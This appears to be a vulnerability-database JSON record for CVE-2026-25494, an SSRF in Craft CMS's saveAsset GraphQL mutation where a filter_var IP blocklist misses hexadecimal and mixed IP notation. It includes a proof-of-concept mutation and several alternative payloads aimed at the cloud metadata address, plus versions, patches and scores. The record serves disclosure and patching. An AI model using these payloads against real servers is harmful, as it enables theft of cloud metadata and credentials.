{"id":"CVE-2026-25494","aliases":["CVE-2026-25494","GHSA-m5r2-8p9x-hp5m"],"related":[],"kind":"vulnerability","state":"published","title":"Craft has a SSRF in GraphQL Asset Mutation via Alternative IP Notation","summary":"Craft is a platform for creating digital experiences.  In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Craft is a platform for creating digital experiences.  In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.","source":"cvelist"},{"lang":"en","text":"I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.\n\n---\n## Summary\n\nThe `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.\n\n---\n## Proof of Concept\n1. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"http://169.254.0xa9fe/latest/meta-data/\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n2. The IP validation passes (hex notation not recognized as IP)\n3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`\n4. Cloud metadata is fetched and saved\n\n### Alternative Payloads\n| Payload | Notation | Resolves To |\n|---------|----------|-------------|\n| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |\n| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |\n| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |\n\n---\n## Technical Details\n\n**File:** `src/gql/resolvers/mutations/Asset.php`\n**Root Cause:** `filter_var($hostname, FILTER_VALIDATE_IP)` only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.\n\n```php\n// Line 287 - Fails to catch hex notation\nfilter_var($hostname, FILTER_VALIDATE_IP)\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Craft es una plataforma para crear experiencias digitales. En las versiones de Craft 4.0.0-RC1 a 4.16.17 y 5.0.0-RC1 a 5.8.21, la mutación GraphQL saveAsset utiliza filter_var(..., FILTER_VALIDATE_IP) para bloquear una lista específica de direcciones IP. Sin embargo, las notaciones IP alternativas (hexadecimal, mixta) no son reconocidas por esta función, lo que permite a los atacantes eludir la lista de bloqueo y acceder a los servicios de metadatos en la nube. Este problema está parcheado en las versiones 4.16.18 y 5.8.22.","source":"nvd"}],"published":"2026-02-09T19:41:13.085Z","modified":"2026-06-17T10:24:44.127Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":">= 5.0.0-RC1, < 5.8.22","status":"affected"}],"vendor":"craftcms","product":"cms","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"5.0.0-RC1","status":"affected","fixed":"5.8.22"}],"ecosystem":"Packagist","package":"craftcms/cms","purl":"pkg:composer/craftcms/cms","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"4.0.0-RC1","status":"affected","fixed":"4.16.18"}],"ecosystem":"Packagist","package":"craftcms/cms","purl":"pkg:composer/craftcms/cms","source":"ghsa"},{"ranges":[{"status":"affected","introduced":">4.0.0","fixed":"4.16.18"},{"status":"affected","introduced":">5.0.0","fixed":"5.8.22"},{"status":"affected","version":"4.0.0"},{"status":"affected","version":"4.0.0"},{"status":"affected","version":"4.0.0"},{"status":"affected","version":"4.0.0"},{"status":"affected","version":"5.0.0"}],"vendor":"craftcms","product":"craft_cms","cpe":"cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/craftcms/cms/security/advisories/GHSA-m5r2-8p9x-hp5m","tags":["exploit","patch","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/craftcms/cms/commit/d49e93e5ba0c48939ce5eaa6cd9b4a990542d8b2","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/craftcms/cms/releases/tag/5.8.22","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25494","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/craftcms/cms","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/craftcms/cms/releases/tag/4.16.18","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-02-10T15:39:49.362Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25494","url":"https://www.cve.org/CVERecord?id=CVE-2026-25494","licence":"CVE Terms of Use","modified":"2026-02-10T16:00:28.753Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m5r2-8p9x-hp5m","url":"https://github.com/advisories/GHSA-m5r2-8p9x-hp5m","licence":"CC-BY-4.0","modified":"2026-02-22T23:24:46.260Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25494","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25494","licence":"Public domain","modified":"2026-06-17T10:24:44.127Z"}],"updatedAt":"2026-11-25T22:59:13.668Z","epss":{"score":0.00398,"percentile":0.36148,"date":"2026-12-01T12:00:22.000Z"}}